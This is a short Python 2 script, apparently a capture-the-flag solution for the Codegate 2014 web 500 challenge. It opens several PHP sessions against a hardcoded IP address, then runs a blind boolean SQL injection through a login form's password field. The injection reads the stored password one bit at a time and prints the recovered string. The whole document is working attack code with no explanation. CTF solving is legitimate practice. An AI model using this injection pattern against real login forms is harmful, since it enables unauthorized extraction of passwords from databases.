codegate 2014 web 500

import httplib
import urllib
import sys
import time

# code by tunz

conn = httplib.HTTPConnection('58.229.183.24',80)
conn.connect()

session_header = '95hem28h053quulk22r5696me'

answer = ""

# create sessions
for i in range(0, 10):
    ch = chr(ord('0') + i)
    print "Session make: "+ch
    conn.putrequest('GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
    conn.putheader('Cookie', 'PHPSESSID='+session_header+ch+';')
    conn.endheaders()
    resp = conn.getresponse()
    data = resp.read()

# injection
for aa in range(0, 10):
 ch = chr(ord('0') + aa)
 for k in range(1 + aa*5, 6 + aa*5):
   i=0
   for m in range(1, 9):
        query = "' or substr(LPAD(bin(ascii(substr(password,"+str(k)+",1))),8,0),"+str(m)+",1)=0x31 and 'a' = 'a"
        params = 'password='+urllib.quote(query)
        conn.putrequest('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
        conn.putheader('Content-length', str(len(params)))
        conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
        conn.putheader('Cookie', 'PHPSESSID='+session_header + ch +';')
        conn.endheaders()
        conn.send(params)

        resp = conn.getresponse()
        data = resp.read()

        if "True" in data:
            i += pow(2,8-m)
            print str(m)+" "+str(i)
   answer = answer + chr(i)
   print "Find: "+answer
 if len(answer) == 30:
    break

print "Answer: "+answer
print "Session: "+session_header+'9'

conn.close()